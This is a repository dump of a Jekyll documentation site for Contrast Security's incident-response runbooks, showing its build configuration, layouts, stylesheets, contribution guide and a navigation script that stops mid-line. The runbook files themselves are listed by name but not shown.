├── Gemfile ├── _includes ├── navigation.html └── toc.html ├── .github └── workflows │ └── jekyll-gh-pages.yml ├── .gitignore ├── CONTRIBUTING.md ├── README.md ├── index.md ├── _layouts ├── runbook.html ├── index.html └── default.html ├── assets ├── images │ └── contrast-logo.svg ├── css │ ├── index.css │ ├── runbook.css │ └── style.css └── js │ └── anchor-headings.js ├── _config.yaml ├── Gemfile.lock ├── _runbooks ├── http-method-tampering.md ├── jndi-injection.md ├── cross-site-scripting.md ├── xml-external-entity-injection.md ├── path-traversal.md └── expression-language-injection.md └── _incident-runbooks ├── http-method-tampering.md ├── jndi-injection.md ├── cross-site-scripting.md ├── xml-external-entity-injection.md ├── path-traversal.md └── expression-language-injection.md /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem 'github-pages', group: :jekyll_plugins 4 | gem 'jekyll-remote-theme' 5 | gem 'jekyll-seo-tag' 6 | gem 'kramdown' 7 | gem 'rouge' -------------------------------------------------------------------------------- /_includes/navigation.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.github/workflows/jekyll-gh-pages.yml: -------------------------------------------------------------------------------- 1 | name: Deploy Jekyll with GitHub Pages dependencies preinstalled 2 | 3 | on: 4 | push: 5 | branches: ["main"] 6 | workflow_dispatch: 7 | 8 | permissions: 9 | contents: read 10 | pages: write 11 | id-token: write 12 | 13 | concurrency: 14 | group: "pages" 15 | cancel-in-progress: false 16 | 17 | jobs: 18 | build: 19 | runs-on: ubuntu-latest 20 | steps: 21 | - name: Checkout 22 | uses: actions/checkout@v4 23 | 24 | - name: Setup Pages 25 | uses: actions/configure-pages@v4 26 | 27 | - name: Build with Jekyll 28 | uses: actions/jekyll-build-pages@v1 29 | with: 30 | source: ./ 31 | destination: ./_site 32 | 33 | - name: Upload artifact 34 | uses: actions/upload-pages-artifact@v3 35 | 36 | deploy: 37 | environment: 38 | name: github-pages 39 | url: ${{ steps.deployment.outputs.page_url }} 40 | runs-on: ubuntu-latest 41 | needs: build 42 | steps: 43 | - name: Deploy to GitHub Pages 44 | id: deployment 45 | uses: actions/deploy-pages@v4 46 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.gem 2 | *.rbc 3 | /.config 4 | /coverage/ 5 | /InstalledFiles 6 | /pkg/ 7 | /spec/reports/ 8 | /spec/examples.txt 9 | /test/tmp/ 10 | /test/version_tmp/ 11 | /tmp/ 12 | 13 | # Used by dotenv library to load environment variables. 14 | # .env 15 | 16 | # Ignore Byebug command history file. 17 | .byebug_history 18 | 19 | ## Specific to RubyMotion: 20 | .dat* 21 | .repl_history 22 | build/ 23 | *.bridgesupport 24 | build-iPhoneOS/ 25 | build-iPhoneSimulator/ 26 | 27 | ## Specific to RubyMotion (use of CocoaPods): 28 | # 29 | # We recommend against adding the Pods directory to your .gitignore. However 30 | # you should judge for yourself, the pros and cons are mentioned at: 31 | # https://guides.cocoapods.org/using/using-cocoapods.html#should-i-check-the-pods-directory-into-source-control 32 | # 33 | # vendor/Pods/ 34 | 35 | ## Documentation cache and generated files: 36 | /.yardoc/ 37 | /_yardoc/ 38 | /doc/ 39 | /rdoc/ 40 | 41 | ## Environment normalization: 42 | /.bundle/ 43 | /vendor/bundle 44 | /lib/bundler/man/ 45 | 46 | # for a library or gem, you might want to ignore these files since the code is 47 | # intended to run in multiple environments; otherwise, check them in: 48 | # Gemfile.lock 49 | # .ruby-version 50 | # .ruby-gemset 51 | 52 | # unless supporting rvm < 1.11.0 or doing something fancy, ignore this: 53 | .rvmrc 54 | 55 | # Used by RuboCop. Remote config files pulled in from inherit_from directive. 56 | # .rubocop-https?--* 57 | 58 | # Mac 59 | .DS_Store 60 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to ADR Runbooks 2 | 3 | Thank you for your interest in contributing to Contrast Security's Application Detection and Response Runbooks. This document provides guidelines for contributions. 4 | 5 | ## How to Contribute 6 | 7 | 1. Fork the repository 8 | 2. Create a new branch for your changes 9 | 3. Make your changes 10 | 4. Submit a pull request 11 | 12 | ## Runbook Structure 13 | 14 | Each runbook should follow this structure: 15 | 16 | ```markdown 17 | --- 18 | layout: runbook 19 | title: "Title of the Runbook" 20 | description: "Brief description of the security issue and its impact" 21 | --- 22 | 23 | # Title 24 | 25 | Brief introduction explaining the security issue. 26 | 27 | ## Example Events 28 | 29 | Include example events showing different outcomes (Exploited, Blocked, etc). 30 | 31 | ## Decision Tree 32 | 33 | Clear steps for triaging the event type. 34 | 35 | ## Response Procedures 36 | 37 | Detailed procedures based on event outcome. 38 | 39 | ## Post-Incident Activities 40 | 41 | Steps for documentation and follow-up. 42 | ``` 43 | 44 | ## Style Guidelines 45 | 46 | - Use clear, concise language 47 | - Include relevant code examples 48 | - Add decision trees for complex procedures 49 | - Include example events where applicable 50 | - Document post-incident procedures 51 | 52 | ## Review Process 53 | 54 | 1. All contributions will be reviewed for: 55 | - Technical accuracy 56 | - Adherence to style guidelines 57 | - Clarity and completeness 58 | - Formatting consistency 59 | 60 | 2. Make requested changes if any are needed 61 | 62 | 3. Once approved, changes will be merged 63 | 64 | ## Code of Conduct 65 | 66 | Please note that this project is released with a [Contributor Code of Conduct](CODE_OF_CONDUCT.md). By participating in this project you agree to abide by its terms. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Application Detection and Response Runbooks 2 | 3 | This repository contains detailed runbooks for responding to various security incidents detected by Contrast Security. These runbooks provide step-by-step guidance for security teams to effectively triage and respond to different types of security events. 4 | 5 | ## Available Runbooks 6 | 7 | ### Injection Attacks 8 | - [Command Injection](_runbooks/command-injection.md) - Handling command injection attacks attempting to execute arbitrary system commands 9 | - [JNDI Injection](_runbooks/jndi-injection.md) - Responding to JNDI injection attempts targeting Java applications 10 | - [SQL Injection](_runbooks/sql-injection.md) - Managing SQL injection attacks against database systems 11 | - [Expression Language Injection](_runbooks/expression-language-injection.md) - Addressing expression language injection vulnerabilities 12 | 13 | ### Access Control & Traversal 14 | - [Path Traversal](_runbooks/path-traversal.md) - Handling attempts to access files outside intended directories 15 | - [HTTP Method Tampering](_runbooks/http-method-tampering.md) - Managing unauthorized HTTP method manipulation 16 | 17 | ### Data & Parsing Vulnerabilities 18 | - [Cross-Site Scripting (XSS)](_runbooks/cross-site-scripting.md) - Responding to XSS attacks injecting malicious scripts 19 | - [XML External Entity Injection](_runbooks/xml-external-entity-injection.md) - Handling XXE attacks against XML parsers 20 | - [Untrusted Deserialization](_runbooks/untrusted-deserialization.md) - Managing deserialization of untrusted data 21 | 22 | ## Using the Runbooks 23 | 24 | 1. Identify the type of security event/alert 25 | 2. Navigate to the corresponding runbook 26 | 3. Follow the decision tree to classify the event 27 | 4. Execute the recommended response procedures 28 | 5. Document actions taken and complete post-incident activities 29 | 30 | ## Contributing 31 | 32 | See our [Contribution Guidelines](CONTRIBUTING.md) for information on how to contribute to these runbooks. 33 | -------------------------------------------------------------------------------- /index.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: index 3 | title: Application Detection and Response Runbooks 4 | description: Security incident response runbooks for Contrast Security's Application Detection and Response 5 | --- 6 | 7 | # Application Detection and Response Runbooks 8 | 9 | This repository contains detailed runbooks for responding to various security incidents detected by Contrast Security. These runbooks provide step-by-step guidance for security teams to effectively triage and respond to different types of security events. 10 | 11 | ## Available Runbooks 12 | 13 | ### Injection Attacks 14 | - [Command Injection](runbooks/command-injection) - Handling command injection attacks attempting to execute arbitrary system commands 15 | - [JNDI Injection](runbooks/jndi-injection) - Responding to JNDI injection attempts targeting Java applications 16 | - [SQL Injection](runbooks/sql-injection) - Managing SQL injection attacks against database systems 17 | - [Expression Language Injection](runbooks/expression-language-injection) - Addressing expression language injection vulnerabilities 18 | 19 | ### Access Control & Traversal 20 | - [Path Traversal](runbooks/path-traversal) - Handling attempts to access files outside intended directories 21 | - [HTTP Method Tampering](runbooks/http-method-tampering) - Managing unauthorized HTTP method manipulation 22 | 23 | ### Data & Parsing Vulnerabilities 24 | - [Cross-Site Scripting (XSS)](runbooks/cross-site-scripting) - Responding to XSS attacks injecting malicious scripts 25 | - [XML External Entity Injection](runbooks/xml-external-entity-injection) - Handling XXE attacks against XML parsers 26 | - [Untrusted Deserialization](runbooks/untrusted-deserialization) - Managing deserialization of untrusted data 27 | 28 | ## Using the Runbooks 29 | 30 | 1. Identify the type of security event/alert 31 | 2. Navigate to the corresponding runbook 32 | 3. Follow the decision tree to classify the event 33 | 4. Execute the recommended response procedures 34 | 5. Document actions taken and complete post-incident activities 35 | -------------------------------------------------------------------------------- /_layouts/runbook.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | {{ page.title }} | {{ site.title }} 8 | 9 | 10 | 11 | 12 | 13 | 14 | {% include navigation.html %} 15 | 16 |
17 | 31 | 32 |
33 |
34 |

{{ page.title }}

35 | {% if page.description %} 36 |

{{ page.description }}

37 | {% endif %} 38 |
39 | 40 |
41 | {{ content }} 42 |
43 | 44 | 50 |
51 |
52 | 53 | 59 | 60 | 61 | 62 | 63 | -------------------------------------------------------------------------------- /assets/images/contrast-logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 48 | -------------------------------------------------------------------------------- /_config.yaml: -------------------------------------------------------------------------------- 1 | # Site settings 2 | title: Application Detection and Response Runbooks 3 | description: >- 4 | Comprehensive security incident response runbooks for Contrast Security's 5 | Application Detection and Response platform, providing step-by-step guidance 6 | for security teams. 7 | baseurl: "/adr-runbooks" 8 | url: "https://contrast-security-oss.github.io" 9 | lang: en 10 | author: Contrast Security 11 | logo: /assets/images/contrast-logo.svg 12 | 13 | # Build settings 14 | markdown: kramdown 15 | remote_theme: pages-themes/minimal@v0.2.0 16 | sass: 17 | style: compressed 18 | 19 | plugins: 20 | - jekyll-remote-theme 21 | - jekyll-seo-tag 22 | - jekyll-sitemap 23 | - jekyll-last-modified-at 24 | 25 | # Collections 26 | collections: 27 | runbooks: 28 | output: true 29 | permalink: /:collection/:name/ 30 | 31 | # Default front matter 32 | defaults: 33 | - scope: 34 | path: "" 35 | type: "runbooks" 36 | values: 37 | layout: "runbook" 38 | schema: SecurityRunbook 39 | - scope: 40 | path: "" 41 | values: 42 | layout: "default" 43 | image: /assets/images/contrast-logo.png 44 | 45 | # Navigation 46 | nav_links: 47 | - title: Home 48 | url: / 49 | description: Return to homepage 50 | # - title: Runbooks 51 | # url: /runbooks/ 52 | # description: Browse all security runbooks 53 | # - title: About 54 | # url: /about/ 55 | # description: Learn about this project 56 | 57 | # Theme colors 58 | colors: 59 | deep_green: "#004D45" 60 | medium_green: "#0E9E53" 61 | midnight_blue: "#0A004F" 62 | red: "#FF6862" 63 | purple: "#804CF5" 64 | blue: "#3877FF" 65 | bright_green: "#40D273" 66 | light_blue: "#00CFFE" 67 | platinum_grey: "#9DA5B3" 68 | 69 | # Social/SEO 70 | twitter: 71 | username: ContrastSec 72 | card: summary 73 | social: 74 | name: Contrast Security 75 | links: 76 | - https://twitter.com/ContrastSec 77 | - https://github.com/Contrast-Security-OSS 78 | - https://www.linkedin.com/company/contrast-security 79 | 80 | # Analytics 81 | google_analytics: # TODO: Add your GA tracking ID 82 | 83 | # Additional settings 84 | timezone: UTC 85 | encoding: utf-8 86 | exclude: 87 | - Gemfile 88 | - Gemfile.lock 89 | - node_modules 90 | - vendor 91 | - CONTRIBUTING.md 92 | - README.md 93 | - LICENSE 94 | - CNAME 95 | - package.json 96 | - package-lock.json 97 | 98 | # Performance 99 | compress_html: 100 | clippings: all 101 | comments: all 102 | endings: all 103 | blanklines: false 104 | profile: false 105 | -------------------------------------------------------------------------------- /_layouts/index.html: -------------------------------------------------------------------------------- 1 | --- 2 | layout: default 3 | --- 4 | 5 | 24 | 25 |
26 |
27 | {% for category in site.data.categories %} 28 |
29 |

{{ category.name }}

30 | {% if category.description %} 31 |

{{ category.description }}

32 | {% endif %} 33 | 34 |
35 | {% assign category_runbooks = site.runbooks | where: "category", category.id %} 36 | {% for runbook in category_runbooks %} 37 |
38 |

39 | {{ runbook.title }} 40 |

41 | {% if runbook.description %} 42 |

{{ runbook.description }}

43 | {% endif %} 44 |
45 | 46 | Last updated: {{ runbook.last_modified_at | default: runbook.date | date: "%B %d, %Y" }} 47 | 48 |
49 |
50 | {% endfor %} 51 |
52 |
53 | {% endfor %} 54 |
55 | 56 |
57 | {{ content }} 58 |
59 |
60 | 61 | -------------------------------------------------------------------------------- /_layouts/default.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 9 | 10 | 11 | {% seo %} 12 | 13 | 14 | 15 | 16 | {% if page.image %} 17 | 18 | {% endif %} 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | {% if page.layout == 'runbook' %} 31 | 32 | {% endif %} 33 | {% if page.layout == 'index' %} 34 | 35 | {% endif %} 36 | 37 | 38 | 39 | 40 | 41 | 42 | 59 | 60 | {% if site.google_analytics %} 61 | 62 | 63 | 69 | {% endif %} 70 | 71 | 72 | 73 | 74 | {% include navigation.html %} 75 | 76 | 77 |
78 | {{ content }} 79 |
80 | 81 | 82 | 91 | 92 | 93 | 94 | {% if page.layout == 'runbook' %} 95 | 96 | {% endif %} 97 | 98 | 99 | -------------------------------------------------------------------------------- /_includes/toc.html: -------------------------------------------------------------------------------- 1 | {% capture tocWorkspace %} 2 | {% comment %} 3 | Copyright (c) 2017 Vladimir "allejo" Jimenez 4 | 5 | Permission is hereby granted, free of charge, to any person 6 | obtaining a copy of this software and associated documentation 7 | files (the "Software"), to deal in the Software without 8 | restriction, including without limitation the rights to use, 9 | copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the 11 | Software is furnished to do so, subject to the following 12 | conditions: 13 | 14 | The above copyright notice and this permission notice shall be 15 | included in all copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 18 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES 19 | OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 20 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT 21 | HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, 22 | WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 23 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 24 | OTHER DEALINGS IN THE SOFTWARE. 25 | {% endcomment %} 26 | 27 | {% capture my_toc %}{% endcapture %} 28 | {% assign orderedList = include.ordered | default: false %} 29 | {% assign minHeader = include.h_min | default: 1 %} 30 | {% assign maxHeader = include.h_max | default: 6 %} 31 | {% assign nodes = include.html | split: ' maxHeader %} 44 | {% continue %} 45 | {% endif %} 46 | 47 | {% if firstHeader %} 48 | {% assign firstHeader = false %} 49 | {% assign minHeader = headerLevel %} 50 | {% endif %} 51 | 52 | {% assign indentAmount = headerLevel | minus: minHeader %} 53 | {% assign _workspace = node | split: '' | first }}>{% endcapture %} 68 | {% assign header = _workspace[0] | replace: _hAttrToStrip, '' %} 69 | 70 | {% assign space = '' %} 71 | {% for i in (1..indentAmount) %} 72 | {% assign space = space | prepend: ' ' %} 73 | {% endfor %} 74 | 75 | {% unless include.item_class == nil %} 76 | {% capture listItemClass %}{:.{{ include.item_class | replace: '%level%', headerLevel }}}{% endcapture %} 77 | {% endunless %} 78 | 79 | {% capture heading_body %}{% if include.sanitize %}{{ header | strip_html }}{% else %}{{ header }}{% endif %}{% endcapture %} 80 | {% capture my_toc %}{{ my_toc }} 81 | {{ space }}{{ listModifier }} {{ listItemClass }} [{{ heading_body | replace: "|", "\|" }}]({% if include.baseurl %}{{ include.baseurl }}{% endif %}#{{ html_id }}){% endcapture %} 82 | {% endfor %} 83 | 84 | {% if include.class %} 85 | {% capture my_toc %}{:.{{ include.class }}} 86 | {{ my_toc | lstrip }}{% endcapture %} 87 | {% endif %} 88 | 89 | {% if include.id %} 90 | {% capture my_toc %}{: #{{ include.id }}} 91 | {{ my_toc | lstrip }}{% endcapture %} 92 | {% endif %} 93 | {% endcapture %}{% assign tocWorkspace = '' %}{{ my_toc | markdownify | strip }} 94 | -------------------------------------------------------------------------------- /assets/css/index.css: -------------------------------------------------------------------------------- 1 | /* Index page specific styles */ 2 | 3 | /* Hero section */ 4 | .hero { 5 | background-color: var(--deep-green); 6 | color: white; 7 | padding: 4rem 0; 8 | margin-bottom: 2rem; 9 | } 10 | 11 | .hero h1 { 12 | margin: 0 0 1rem 0; 13 | font-size: 2.5rem; 14 | line-height: 1.2; 15 | color: white; 16 | } 17 | 18 | .hero-description { 19 | font-size: 1.25rem; 20 | margin-bottom: 1.5rem; 21 | opacity: 0.9; 22 | max-width: 600px; 23 | } 24 | 25 | .hero-actions { 26 | display: flex; 27 | gap: 1rem; 28 | margin-top: 2rem; 29 | } 30 | 31 | /* Runbooks Grid */ 32 | .runbooks-grid { 33 | display: grid; 34 | gap: 2rem; 35 | margin: 2rem 0; 36 | } 37 | 38 | .runbook-category { 39 | margin-bottom: 3rem; 40 | } 41 | 42 | .runbook-category h2 { 43 | color: var(--midnight-blue); 44 | font-size: 2rem; 45 | margin-bottom: 1rem; 46 | padding-bottom: 0.5rem; 47 | border-bottom: 2px solid var(--medium-green); 48 | } 49 | 50 | .category-description { 51 | color: var(--text-secondary); 52 | margin-bottom: 1.5rem; 53 | } 54 | 55 | .runbook-list { 56 | display: grid; 57 | grid-template-columns: repeat(auto-fill, minmax(300px, 1fr)); 58 | gap: 1.5rem; 59 | } 60 | 61 | /* Runbook Cards */ 62 | .runbook-card { 63 | background: white; 64 | border-radius: 8px; 65 | padding: 1.5rem; 66 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); 67 | transition: transform var(--transition-base), box-shadow var(--transition-base); 68 | } 69 | 70 | .runbook-card:hover { 71 | transform: translateY(-2px); 72 | box-shadow: 0 4px 8px rgba(0, 0, 0, 0.15); 73 | } 74 | 75 | .runbook-title { 76 | font-size: 1.25rem; 77 | margin: 0 0 0.75rem 0; 78 | } 79 | 80 | .runbook-title a { 81 | color: var(--deep-green); 82 | text-decoration: none; 83 | } 84 | 85 | .runbook-title a:hover { 86 | color: var(--medium-green); 87 | } 88 | 89 | .runbook-description { 90 | color: var(--text-secondary); 91 | font-size: 0.875rem; 92 | margin-bottom: 1rem; 93 | line-height: 1.5; 94 | } 95 | 96 | .runbook-meta { 97 | font-size: 0.75rem; 98 | color: var(--platinum-grey); 99 | } 100 | 101 | /* Contribution CTA */ 102 | .contribution-cta { 103 | background-color: var(--background-secondary); 104 | padding: 4rem 0; 105 | margin-top: 4rem; 106 | text-align: center; 107 | } 108 | 109 | .contribution-cta h2 { 110 | color: var(--midnight-blue); 111 | margin-bottom: 1rem; 112 | } 113 | 114 | .contribution-cta p { 115 | color: var(--text-secondary); 116 | margin-bottom: 2rem; 117 | font-size: 1.125rem; 118 | } 119 | 120 | /* Buttons */ 121 | .button { 122 | display: inline-flex; 123 | align-items: center; 124 | gap: 0.5rem; 125 | padding: 0.75rem 1.5rem; 126 | border-radius: 4px; 127 | font-weight: 500; 128 | text-decoration: none; 129 | transition: all var(--transition-base); 130 | } 131 | 132 | .button-primary { 133 | background-color: var(--medium-green); 134 | color: white; 135 | } 136 | 137 | .button-primary:hover { 138 | background-color: var(--bright-green); 139 | text-decoration: none; 140 | } 141 | 142 | .button-secondary { 143 | background-color: white; 144 | color: var(--deep-green); 145 | border: 2px solid var(--deep-green); 146 | } 147 | 148 | .button-secondary:hover { 149 | background-color: var(--deep-green); 150 | color: white; 151 | text-decoration: none; 152 | } 153 | 154 | .button .icon { 155 | width: 1.25rem; 156 | height: 1.25rem; 157 | } 158 | 159 | /* Responsive Design */ 160 | @media (max-width: 768px) { 161 | .hero { 162 | padding: 3rem 0; 163 | } 164 | 165 | .hero h1 { 166 | font-size: 2rem; 167 | } 168 | 169 | .hero-description { 170 | font-size: 1.125rem; 171 | } 172 | 173 | .runbook-list { 174 | grid-template-columns: 1fr; 175 | } 176 | 177 | .contribution-cta { 178 | padding: 3rem 0; 179 | } 180 | } 181 | 182 | /* Print Styles */ 183 | @media print { 184 | .hero { 185 | background: none; 186 | color: var(--text-primary); 187 | padding: 2rem 0; 188 | } 189 | 190 | .hero h1 { 191 | color: var(--deep-green); 192 | } 193 | 194 | .hero-actions, 195 | .contribution-cta { 196 | display: none; 197 | } 198 | 199 | .runbook-card { 200 | break-inside: avoid; 201 | box-shadow: none; 202 | border: 1px solid var(--border-color); 203 | } 204 | } -------------------------------------------------------------------------------- /assets/css/runbook.css: -------------------------------------------------------------------------------- 1 | /* Runbook-specific styles */ 2 | 3 | .runbook-layout { 4 | display: grid; 5 | grid-template-columns: var(--sidebar-width) 1fr; 6 | gap: 2rem; 7 | margin-top: 2rem; 8 | } 9 | 10 | /* Sidebar */ 11 | .sidebar { 12 | position: sticky; 13 | top: calc(2rem + var(--nav-height)); 14 | height: calc(100vh - var(--nav-height) - 2rem); 15 | overflow-y: auto; 16 | padding-right: 1rem; 17 | } 18 | 19 | /* Table of Contents */ 20 | .runbook-toc { 21 | background: var(--background-secondary); 22 | border-radius: 4px; 23 | padding: 1.5rem; 24 | margin-bottom: 2rem; 25 | } 26 | 27 | .runbook-toc h3 { 28 | margin-top: 0; 29 | font-size: 1.25rem; 30 | color: var(--midnight-blue); 31 | margin-bottom: 1rem; 32 | } 33 | 34 | .toc-list { 35 | list-style: none; 36 | padding-left: 0; 37 | } 38 | 39 | .toc-list ul { 40 | padding-left: 1.5rem; 41 | margin: 0.5rem 0; 42 | } 43 | 44 | .toc-list li { 45 | margin: 0.5rem 0; 46 | } 47 | 48 | .toc-list a { 49 | color: var(--text-primary); 50 | text-decoration: none; 51 | transition: color var(--transition-base); 52 | display: inline-block; 53 | padding: 0.25rem 0; 54 | } 55 | 56 | .toc-list a:hover { 57 | color: var(--blue); 58 | } 59 | 60 | /* Quick Links */ 61 | .quick-links { 62 | background: white; 63 | border: 1px solid var(--border-color); 64 | border-radius: 4px; 65 | padding: 1.5rem; 66 | } 67 | 68 | .quick-links h3 { 69 | margin-top: 0; 70 | font-size: 1.25rem; 71 | color: var(--midnight-blue); 72 | margin-bottom: 1rem; 73 | } 74 | 75 | .quick-links ul { 76 | list-style: none; 77 | padding-left: 0; 78 | } 79 | 80 | .quick-links li { 81 | margin: 0.5rem 0; 82 | } 83 | 84 | /* Main Content */ 85 | .runbook-content { 86 | background: white; 87 | border-radius: 4px; 88 | padding: 2rem; 89 | box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); 90 | min-height: calc(100vh - var(--nav-height) - 4rem); 91 | } 92 | 93 | .runbook-header { 94 | margin-bottom: 2rem; 95 | padding-bottom: 1rem; 96 | border-bottom: 2px solid var(--deep-green); 97 | } 98 | 99 | .runbook-header h1 { 100 | margin-top: 0; 101 | } 102 | 103 | .runbook-description { 104 | font-size: 1.2rem; 105 | color: var(--text-secondary); 106 | margin-top: 1rem; 107 | } 108 | 109 | /* Event Examples */ 110 | .event-example { 111 | background: var(--background-secondary); 112 | padding: 1rem; 113 | border-radius: 4px; 114 | font-family: 'Consolas', monospace; 115 | overflow-x: auto; 116 | margin: 1rem 0; 117 | white-space: pre-wrap; 118 | word-break: break-all; 119 | } 120 | 121 | /* Decision Trees */ 122 | .decision-tree { 123 | margin: 2rem 0; 124 | padding: 1rem; 125 | border: 1px solid var(--border-color); 126 | border-radius: 4px; 127 | } 128 | 129 | .decision-option { 130 | margin: 1rem 0; 131 | padding-left: 2rem; 132 | position: relative; 133 | } 134 | 135 | .decision-option::before { 136 | content: "→"; 137 | position: absolute; 138 | left: 0.5rem; 139 | color: var(--medium-green); 140 | } 141 | 142 | /* Status Tags */ 143 | .status-tag { 144 | display: inline-block; 145 | padding: 0.25rem 0.75rem; 146 | border-radius: 1rem; 147 | font-size: 0.875rem; 148 | font-weight: 500; 149 | margin: 0 0.5rem; 150 | } 151 | 152 | .status-exploited { 153 | background-color: rgba(255, 104, 98, 0.1); 154 | color: var(--red); 155 | } 156 | 157 | .status-blocked { 158 | background-color: rgba(14, 158, 83, 0.1); 159 | color: var(--medium-green); 160 | } 161 | 162 | .status-ineffective { 163 | background-color: rgba(157, 165, 179, 0.1); 164 | color: var(--platinum-grey); 165 | } 166 | 167 | /* Post-incident Activities */ 168 | .post-incident { 169 | background: var(--background-secondary); 170 | padding: 1.5rem; 171 | border-radius: 4px; 172 | margin: 2rem 0; 173 | } 174 | 175 | .post-incident h2 { 176 | color: var(--midnight-blue); 177 | border-bottom: 2px solid var(--medium-green); 178 | padding-bottom: 0.5rem; 179 | } 180 | 181 | /* Meta Information */ 182 | .runbook-meta { 183 | margin-top: 4rem; 184 | padding-top: 1rem; 185 | border-top: 1px solid var(--border-color); 186 | color: var(--text-secondary); 187 | font-size: 0.875rem; 188 | } 189 | 190 | /* Responsive Design */ 191 | @media (max-width: 1024px) { 192 | .runbook-layout { 193 | grid-template-columns: 1fr; 194 | } 195 | 196 | .sidebar { 197 | position: static; 198 | height: auto; 199 | margin-bottom: 2rem; 200 | } 201 | } 202 | 203 | @media (max-width: 768px) { 204 | .runbook-content { 205 | padding: 1rem; 206 | } 207 | 208 | .event-example { 209 | font-size: 0.875rem; 210 | } 211 | } 212 | 213 | /* Print Styles */ 214 | @media print { 215 | .sidebar { 216 | display: none; 217 | } 218 | 219 | .runbook-layout { 220 | display: block; 221 | } 222 | 223 | .runbook-content { 224 | box-shadow: none; 225 | padding: 0; 226 | } 227 | 228 | .post-incident { 229 | background: none; 230 | padding: 0; 231 | } 232 | } -------------------------------------------------------------------------------- /assets/js/anchor-headings.js: -------------------------------------------------------------------------------- 1 | // Runbook functionality 2 | class RunbookManager { 3 | constructor() { 4 | this.initializeVariables(); 5 | this.setupEventListeners(); 6 | this.handleInitialState(); 7 | } 8 | 9 | initializeVariables() { 10 | // Navigation elements 11 | this.navToggle = document.querySelector('.nav-toggle'); 12 | this.navLinks = document.querySelector('.nav-links'); 13 | 14 | // Table of contents 15 | this.toc = document.querySelector('.runbook-toc'); 16 | this.tocLinks = document.querySelectorAll('.toc-list a'); 17 | 18 | // Content sections 19 | this.sections = document.querySelectorAll('h2[id], h3[id]'); 20 | 21 | // Current section tracking 22 | this.currentSection = null; 23 | this.tocObserver = null; 24 | } 25 | 26 | setupEventListeners() { 27 | // Mobile navigation 28 | if (this.navToggle) { 29 | this.navToggle.addEventListener('click', () => this.toggleNavigation()); 30 | } 31 | 32 | // Table of contents navigation 33 | this.tocLinks.forEach(link => { 34 | link.addEventListener('click', (e) => this.handleTocClick(e)); 35 | }); 36 | 37 | // Scroll spy 38 | this.setupScrollSpy(); 39 | 40 | // Handle initial hash 41 | if (window.location.hash) { 42 | this.scrollToSection(window.location.hash); 43 | } 44 | } 45 | 46 | handleInitialState() { 47 | // Set initial active section 48 | this.updateActiveSection(); 49 | 50 | // Handle mobile nav initial state 51 | this.handleMobileNavState(); 52 | } 53 | 54 | toggleNavigation() { 55 | const isExpanded = this.navToggle.getAttribute('aria-expanded') === 'true'; 56 | this.navToggle.setAttribute('aria-expanded', !isExpanded); 57 | this.navLinks.classList.toggle('active'); 58 | } 59 | 60 | handleTocClick(e) { 61 | e.preventDefault(); 62 | const targetId = e.target.getAttribute('href'); 63 | this.scrollToSection(targetId); 64 | history.pushState(null, null, targetId); 65 | } 66 | 67 | scrollToSection(targetId) { 68 | const targetElement = document.querySelector(targetId); 69 | if (!targetElement) return; 70 | 71 | const headerOffset = 80; // Adjust based on fixed header height 72 | const elementPosition = targetElement.getBoundingClientRect().top; 73 | const offsetPosition = elementPosition + window.pageYOffset - headerOffset; 74 | 75 | window.scrollTo({ 76 | top: offsetPosition, 77 | behavior: 'smooth' 78 | }); 79 | 80 | // Highlight the section temporarily 81 | targetElement.classList.add('highlight'); 82 | setTimeout(() => { 83 | targetElement.classList.remove('highlight'); 84 | }, 1500); 85 | } 86 | 87 | setupScrollSpy() { 88 | const options = { 89 | root: null, 90 | rootMargin: '-100px 0px -66%', 91 | threshold: 0 92 | }; 93 | 94 | this.tocObserver = new IntersectionObserver((entries) => { 95 | entries.forEach(entry => { 96 | if (entry.isIntersecting) { 97 | this.updateActiveTocLink(entry.target); 98 | } 99 | }); 100 | }, options); 101 | 102 | this.sections.forEach(section => { 103 | this.tocObserver.observe(section); 104 | }); 105 | } 106 | 107 | updateActiveTocLink(section) { 108 | this.tocLinks.forEach(link => { 109 | link.classList.remove('active'); 110 | if (link.getAttribute('href') === `#${section.id}`) { 111 | link.classList.add('active'); 112 | } 113 | }); 114 | } 115 | 116 | updateActiveSection() { 117 | const scrollPosition = window.scrollY; 118 | 119 | for (const section of this.sections) { 120 | const sectionTop = section.offsetTop - 100; 121 | const sectionBottom = sectionTop + section.offsetHeight; 122 | 123 | if (scrollPosition >= sectionTop && scrollPosition < sectionBottom) { 124 | if (this.currentSection !== section.id) { 125 | this.currentSection = section.id; 126 | this.updateActiveTocLink(section); 127 | } 128 | break; 129 | } 130 | } 131 | } 132 | 133 | handleMobileNavState() { 134 | const mediaQuery = window.matchMedia('(max-width: 768px)'); 135 | 136 | const handleMobileChange = (e) => { 137 | if (!e.matches) { 138 | // Reset mobile nav when returning to desktop 139 | this.navLinks.classList.remove('active'); 140 | this.navToggle.setAttribute('aria-expanded', 'false'); 141 | } 142 | }; 143 | 144 | mediaQuery.addListener(handleMobileChange); 145 | } 146 | } 147 | 148 | // Initialize when DOM is ready 149 | document.addEventListener('DOMContentLoaded', () => { 150 | new 